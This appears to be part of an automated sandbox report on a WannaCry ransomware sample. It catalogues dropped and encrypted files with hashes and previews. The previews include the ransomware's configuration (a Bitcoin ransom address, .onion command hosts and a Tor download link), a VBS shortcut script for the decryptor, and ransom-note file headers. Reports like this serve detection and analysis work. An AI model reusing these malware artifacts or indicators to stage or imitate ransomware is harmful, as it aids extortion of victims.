                                                                                                      SHA-512:0513418889CC029CE0B065546D74B3CA90623D5F1F5E7849B4D35C526812D5276DD03089A5D0EB4C80B1EADC400A88D578D6886307D3717CFDAC6DF53E89B261
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....T8....c.s..}...!.-.....U.\....q.,......Kc".....<./?..2I......|..U_Q..IK=..3....g.".......0"t...f..$Y..gm.u.s.w..1..+...F'7.u........&.Z3.F.....NekE.8..WJO(}J...q.7...6=w.#;...s.07gZ..\w...m.y...(x...p.........5.|.$/...m.;x...W..I...`.Ug................. ..~.cAt9....C..J.M..7.<......o...k....L.u....T..Y..!.....u...7d..@.1.....*....L.........1Hp5..1`h.)..q...7..4.p.o{..Z.4y...o~.|V`...|.|Yf\....7..=Y@.:.......1es....SE.mS =.....#..x.....L,5".Wc@...W.En.u...(.R)!......y!....4..Xvjl......<..7..+.......E.......q.2.e../2Z...,[3.c..xLh...X/.....o+.4..hk..'..V.9|.g....$..R..J[4.8Q...^m.Vv...f.....s....i.."......C.%....8...q..../k.VZ.....<.2'y0**C.S.3...".a...$.@.Z..UG..j.o..3...#....s0..{.n...$...6.zs....qup.Q....{...[|C.Qo..P.mC.hJ..@.."..w'..4........X..A..D*.zI...fC.r....f.B.0.qqz....k..i.[.-....,.U. NR/,.....L...V..b.R...+.D.8..5S..o...:.....k..{.w.V...Ln.+(.~..FA.....#L..^..~....y.&..P fbh$..).~..bm..X..........{.. .

                                                                                                      C:\Users\user\Desktop\ZGGKNSUKOP.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837937064983294
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYdGIrPGr4UqSBjC+e63y7c1oVrOk8reShfyhhyjoJOeZoby6uSOw05TM4Qvjk:bkJIrPS4rYaQlKhgjG2Tysjk
                                                                                                      MD5:89E82571E5CB6BB9203A1891E0F0354A
                                                                                                      SHA1:91C81494231F477E065E883050B10074572F0A2B
                                                                                                      SHA-256:E046CC586A9EBC1760C5139097BD915E1515CA08B870E427671CC93AEFF83268
                                                                                                      SHA-512:0513418889CC029CE0B065546D74B3CA90623D5F1F5E7849B4D35C526812D5276DD03089A5D0EB4C80B1EADC400A88D578D6886307D3717CFDAC6DF53E89B261
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....T8....c.s..}...!.-.....U.\....q.,......Kc".....<./?..2I......|..U_Q..IK=..3....g.".......0"t...f..$Y..gm.u.s.w..1..+...F'7.u........&.Z3.F.....NekE.8..WJO(}J...q.7...6=w.#;...s.07gZ..\w...m.y...(x...p.........5.|.$/...m.;x...W..I...`.Ug................. ..~.cAt9....C..J.M..7.<......o...k....L.u....T..Y..!.....u...7d..@.1.....*....L.........1Hp5..1`h.)..q...7..4.p.o{..Z.4y...o~.|V`...|.|Yf\....7..=Y@.:.......1es....SE.mS =.....#..x.....L,5".Wc@...W.En.u...(.R)!......y!....4..Xvjl......<..7..+.......E.......q.2.e../2Z...,[3.c..xLh...X/.....o+.4..hk..'..V.9|.g....$..R..J[4.8Q...^m.Vv...f.....s....i.."......C.%....8...q..../k.VZ.....<.2'y0**C.S.3...".a...$.@.Z..UG..j.o..3...#....s0..{.n...$...6.zs....qup.Q....{...[|C.Qo..P.mC.hJ..@.."..w'..4........X..A..D*.zI...fC.r....f.B.0.qqz....k..i.[.-....,.U. NR/,.....L...V..b.R...+.D.8..5S..o...:.....k..{.w.V...Ln.+(.~..FA.....#L..^..~....y.&..P fbh$..).~..bm..X..........{.. .

                                                                                                      C:\Users\user\Desktop\ZIPXYXWIOY.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.843621359417532
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:JFSDQIyykAbD9OtMdOVu9bzi6k4qlzJRAqGpW5YMxaD:CUIMMo83kvzfbGpv
                                                                                                      MD5:A418CE728521BD00E117B0C4C5FC12D6
                                                                                                      SHA1:E9097AD8AF8890AA78BCE950CA036543A9312754
                                                                                                      SHA-256:E61B5213D97B72F14302ADA76781674045B660DF3AD56CD7E2ECC4212F2B9B6E
                                                                                                      SHA-512:A7A14BF0EEB7E6E9BD7788F8B006F0698398B10E5ABC83E19216AB34432CBD2059A485F7D98FF8E3B45F71C759F6D0E19B9B8079CB07722933E6A4790CD5A090
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview::.E.,.xb['....g.k%=.. ,.A.u..y.W..?W..+e.\.j.~w-&...]6..pj..g....I.<...SX.........W...=>W.qh.S/Gq?.J......W.d....!...M....64y7.f...N..g..=.^M4......s.*...1...B..Dr$...T3.u.(4.N...N.a..I..C.d..c...:.....'e....7...#v.YPb7&.o!.(.YUo.8..>....8S=.V.RL....:...r...."VV?_...'U.]U*m0...Do8.......S..E.y..../L..V~e......z.*..s....c...`......9L.s.q...$.,>.A[6K....t).........H............a....4h.>..;&........Y......}....|.n..H..I.....7.#....Lf5.8..F5.B..i.'.?q.#.f.K6.....6..T...=8.}6$...r(."././3....%k.t..jo...s=].1$i.+U^.:1...!.T.nQo.\...WmP....M....9.e'........p.....,......^:.} ..v......21..Cx.e"~.?r>S..r..Y....[z.....F..tB.H...p."9...,`...v....Y.F.O....i\.i$.!RXZN<WS..Y...w......2..GDtj...5.S.4f.e...o._..S........O..q..A...y.9....:X.1.H...k{v0lx...=.B.y.j...hb..._...F.....j....Q..N._*...B..ai....J.hr...E..........o.Es......Q......u.nm.c.w.j.y...=..Tj...{D.R...h...d{{5.-...Ht3..8...a.-.>.f.....X...do...f....lT..{s........o.g..2....Sz..X........G.f..h.

                                                                                                      C:\Users\user\Desktop\ZIPXYXWIOY.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846636537546797
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkNdCakPGQiD48Bf8PLhhFn4KEiS+rSDKq9sh6Gv3EbKIO19cY198S1VZQDB:bkNMaCGP88tyLhdEiIk55P6S1VZcB
                                                                                                      MD5:04862DE150EE6FE8A6BEF96D87C90B24
                                                                                                      SHA1:B8669B519C07836917DED420EFE8FDE11DFCF07E
                                                                                                      SHA-256:F1B4A4BAD2DAD25802072505E9D88D23C21F7A113BB3C1D3715C0E6F09B85E29
                                                                                                      SHA-512:E234F9C760313A9B08C94931F82500521B84C32355233983EF487F8BF088763FFA8FFC94738EA40E0C3E208B3244EB5057F1D529DD1E21B09950F92A6894BA9F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......edY.c.W]S/.N(..$).,.......p.9.......0....tIR7....;.aJ.Q.W.btA..?.?......d..ib...|......J.C...jM..Q?if\:.O..;.:;....R..G.......r.mw*.g.cm..m..Bo..a.t6.%I.@..*z.9.uJB-...H...\.g..4........... I..e.V.yyYCx..~E...K~....I.*...~..54"_".....n............{.....bGL..w|...E..sa.>.'(r..]EO.................fdv.}.]X...Px....V.;......i.......{......1Y)...EO...0..v......s.>.I..V..B..!....<..G.o.2.K....O.U.......Yx.V..TX..!.#..]2......._..1...{......*eN.E.Tyl..,..AZ..\...p.... ...L......]..R.d...&v(....$...{.....x......"~.....9.>.;.rN..I......H}'P...t^...k4"......p.W.Pzl...O..I....j&.)..../..`..Y>+..V......A.G.pZ:..S..@..^.K.!%.....^qk4.Q%d.Xl.D%.....~In.....z...LB...u......R.R-2.....)u.ya.0..(...z..e...Z...~...E...``.<...(.........#..,!P%V.. .j.M...[u.aA.N...._I..TG.rv...UuV......-..o*.[..........$.".As..L=f..m....3......f..Yd...]sJ.8`bH1~..3 t@.@.....[$mOx.D...J;....^e.R.&3....4.).fS.....b...."|.CA...8?H..q....#=%.....-$,.

                                                                                                      C:\Users\user\Desktop\ZIPXYXWIOY.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846636537546797
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkNdCakPGQiD48Bf8PLhhFn4KEiS+rSDKq9sh6Gv3EbKIO19cY198S1VZQDB:bkNMaCGP88tyLhdEiIk55P6S1VZcB
                                                                                                      MD5:04862DE150EE6FE8A6BEF96D87C90B24
                                                                                                      SHA1:B8669B519C07836917DED420EFE8FDE11DFCF07E
                                                                                                      SHA-256:F1B4A4BAD2DAD25802072505E9D88D23C21F7A113BB3C1D3715C0E6F09B85E29
                                                                                                      SHA-512:E234F9C760313A9B08C94931F82500521B84C32355233983EF487F8BF088763FFA8FFC94738EA40E0C3E208B3244EB5057F1D529DD1E21B09950F92A6894BA9F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......edY.c.W]S/.N(..$).,.......p.9.......0....tIR7....;.aJ.Q.W.btA..?.?......d..ib...|......J.C...jM..Q?if\:.O..;.:;....R..G.......r.mw*.g.cm..m..Bo..a.t6.%I.@..*z.9.uJB-...H...\.g..4........... I..e.V.yyYCx..~E...K~....I.*...~..54"_".....n............{.....bGL..w|...E..sa.>.'(r..]EO.................fdv.}.]X...Px....V.;......i.......{......1Y)...EO...0..v......s.>.I..V..B..!....<..G.o.2.K....O.U.......Yx.V..TX..!.#..]2......._..1...{......*eN.E.Tyl..,..AZ..\...p.... ...L......]..R.d...&v(....$...{.....x......"~.....9.>.;.rN..I......H}'P...t^...k4"......p.W.Pzl...O..I....j&.)..../..`..Y>+..V......A.G.pZ:..S..@..^.K.!%.....^qk4.Q%d.Xl.D%.....~In.....z...LB...u......R.R-2.....)u.ya.0..(...z..e...Z...~...E...``.<...(.........#..,!P%V.. .j.M...[u.aA.N...._I..TG.rv...UuV......-..o*.[..........$.".As..L=f..m....3......f..Yd...]sJ.8`bH1~..3 t@.@.....[$mOx.D...J;....^e.R.&3....4.).fS.....b...."|.CA...8?H..q....#=%.....-$,.

                                                                                                      C:\Users\user\Desktop\b.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1440054
                                                                                                      Entropy (8bit):0.3363393123555661
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                                                                                      MD5:C17170262312F3BE7027BC2CA825BF0C
                                                                                                      SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                                                                                      SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                                                                                      SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Desktop\c.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):780
                                                                                                      Entropy (8bit):2.3626374636337375
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:cL+T2xglKaHqHgVcKKfF9mHRMMPRGS37LlN/sUQqGUSGeTsdEC:cw2laRVcKKfm2MYS3sUQqGLGeTEV
                                                                                                      MD5:93F33B83F1F263E2419006D6026E7BC1
                                                                                                      SHA1:1A4B36C56430A56AF2E0ECABD754BF00067CE488
                                                                                                      SHA-256:EF0ED0B717D1B956EB6C42BA1F4FD2283CF7C8416BED0AFD1E8805EE0502F2B4
                                                                                                      SHA-512:45BDD1A9A3118EE4D3469EE65A7A8FDB0F9315CA417821DB058028FFB0ED145209F975232A9E64ABA1C02B9664C854232221EB041D09231C330AE510F638AFAC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...........................................................................................................................C......................................................13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94................gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;.......................................................................................................................................https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip...........................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Desktop\f.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):498
                                                                                                      Entropy (8bit):5.063101290992871
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:oJxjf/r3BkNUwCbJIOF8ccMvjtVwuVwuVwuVwuVwuVwuVwuVwieb42RB:oJxWNob+OF8khVwuVwuVwuVwuVwuVwuM
                                                                                                      MD5:190E3AF7F5288D48148FCC98DFB1A2A6
                                                                                                      SHA1:F396C1F2ABB83A185C24E48058CD2089A2CA659E
                                                                                                      SHA-256:5F8D761D3D6ECB6C0E9D5E02F2F1D4A87B57BEC48B41E5CB2CDC25B2FC3B6493
                                                                                                      SHA-512:4B0CB2A2F643D672355DABD552A3A37F4FA84D20A0EFC36EA55D73DFCD4E22F1EEA2A5AEBD5383C027DA6EBFD0582D929F59CD8A4F40D8F88D72D4D6084EE2BB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:C:\Users\user\Desktop\GIGIYTFFYT.jpg.WNCRY..C:\Users\user\Documents\BJZFPPWAPT.png.WNCRY..C:\Users\user\AppData\Local\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573801262804.txt.WNCRY..C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRY..

                                                                                                      C:\Users\user\Desktop\m.vbs

                                                                                                      Download File
                                                                                                      Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):195
                                                                                                      Entropy (8bit):4.9828343133437905
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3:gponhvDCKFcsDT6MWlynJ96JS2x9rbPT6MWlynJSK2Fvn:e+hvbGoJgJSoPGoJSK2Fv
                                                                                                      MD5:CF54CCA4CEA475C005EEE306DF7C73D0
                                                                                                      SHA1:1D1A669F4376CBB22A5C5C8D211A352AF84DC95D
                                                                                                      SHA-256:580B3C23A6578CDA3DC3349F3749E935BABC6FA6F2CE9B8DC58D7463C0F618A9
                                                                                                      SHA-512:043F8938BA7CB4F8BBF3E77667E6505271A984578869623102CF8D61A3D9162387DC200F1F8BF97DF5BEE621B0E952DD9F672150777AA18C978E1B95F3B452AE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe"..om.Save..

                                                                                                      C:\Users\user\Desktop\msg\m_bulgarian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):47879
                                                                                                      Entropy (8bit):4.950611667526586
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:768:Shef3jHdCG28Eb1tyci8crbEw6/5+3xFkbP0vyzbZrS14e:SheU5De
                                                                                                      MD5:95673B0F968C0F55B32204361940D184
                                                                                                      SHA1:81E427D15A1A826B93E91C3D2FA65221C8CA9CFF
                                                                                                      SHA-256:40B37E7B80CF678D7DD302AAF41B88135ADE6DDF44D89BDBA19CF171564444BD
                                                                                                      SHA-512:7601F1883EDBB4150A9DC17084012323B3BFA66F6D19D3D0355CF82B6A1C9DCE475D758DA18B6D17A8B321BF6FCA20915224DBAEDCB3F4D16ABFAF7A5FC21B92
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_chinese (simplified).wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):54359
                                                                                                      Entropy (8bit):5.015093444540877
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:768:SWjkSFwwlUdcUG2HAmDTzpXtgmDNQ8qD7DHDqMtgDdLDMaDoKMGzD0DWJQ8/QoZ4:SWcwiqDB
                                                                                                      MD5:0252D45CA21C8E43C9742285C48E91AD
                                                                                                      SHA1:5C14551D2736EEF3A1C1970CC492206E531703C1
                                                                                                      SHA-256:845D0E178AEEBD6C7E2A2E9697B2BF6CF02028C50C288B3BA88FE2918EA2834A
                                                                                                      SHA-512:1BFCF6C0E7C977D777F12BD20AC347630999C4D99BD706B40DE7FF8F2F52E02560D68093142CC93722095657807A1480CE3FB6A2E000C488550548C497998755
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}@\'b9\'d9\'c5\'c1;}..{\f45\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}@MingLiU;}{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}..{\f54\fbidi \fmodern\fchar

                                                                                                      C:\Users\user\Desktop\msg\m_chinese (traditional).wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):79346
                                                                                                      Entropy (8bit):4.901891087442577
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:768:SDwtkzjHdLG2xN1fyvnywUKB5lylYlzlJpsbuEWeM/yDRu9uCuwyInIwDOHEhm/v:SDnz5Rt4D4
                                                                                                      MD5:2EFC3690D67CD073A9406A25005F7CEA
                                                                                                      SHA1:52C07F98870EABACE6EC370B7EB562751E8067E9
                                                                                                      SHA-256:5C7F6AD1EC4BC2C8E2C9C126633215DABA7DE731AC8B12BE10CA157417C97F3A
                                                                                                      SHA-512:0766C58E64D9CDA5328E00B86F8482316E944AA2C26523A3C37289E22C34BE4B70937033BEBDB217F675E40DB9FECDCE0A0D516F9065A170E28286C2D218487C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}..{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020

                                                                                                      C:\Users\user\Desktop\msg\m_croatian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):39070
                                                                                                      Entropy (8bit):5.03796878472628
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdb2YG2+d18Scgn8c8/868H1F8E8/8Z3m8VdAm86a8n:Shef3jHd3G2n+p/mZrS14A
                                                                                                      MD5:17194003FA70CE477326CE2F6DEEB270
                                                                                                      SHA1:E325988F68D327743926EA317ABB9882F347FA73
                                                                                                      SHA-256:3F33734B2D34CCE83936CE99C3494CD845F1D2C02D7F6DA31D42DFC1CA15A171
                                                                                                      SHA-512:DCF4CCF0B352A8B271827B3B8E181F7D6502CA0F8C9DDA3DC6E53441BB4AE6E77B49C9C947CC3EDE0BF323F09140A0C068A907F3C23EA2A8495D1AD96820051C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_czech.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):40512
                                                                                                      Entropy (8bit):5.035949134693175
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2yG2gv8n8+8zfB8k8F8i8k1Z8M8I818E838C8A8s:Shef3jHd2G26nyMZrS14g
                                                                                                      MD5:537EFEECDFA94CC421E58FD82A58BA9E
                                                                                                      SHA1:3609456E16BC16BA447979F3AA69221290EC17D0
                                                                                                      SHA-256:5AFA4753AFA048C6D6C39327CE674F27F5F6E5D3F2A060B7A8AED61725481150
                                                                                                      SHA-512:E007786FFA09CCD5A24E5C6504C8DE444929A2FAAAFAD3712367C05615B7E1B0FBF7FBFFF7028ED3F832CE226957390D8BF54308870E9ED597948A838DA1137B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_danish.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37045
                                                                                                      Entropy (8bit):5.028683023706024
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHd02wG2roqni2Jeo75Y3kmA31dv61QyU:Shef3jHd4G2M5bZrS14Q
                                                                                                      MD5:2C5A3B81D5C4715B7BEA01033367FCB5
                                                                                                      SHA1:B548B45DA8463E17199DAAFD34C23591F94E82CD
                                                                                                      SHA-256:A75BB44284B9DB8D702692F84909A7E23F21141866ADF3DB888042E9109A1CB6
                                                                                                      SHA-512:490C5A892FAC801B853C348477B1140755D4C53CA05726AC19D3649AF4285C93523393A3667E209C71C80AC06FFD809F62DD69AE65012DCB00445D032F1277B3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
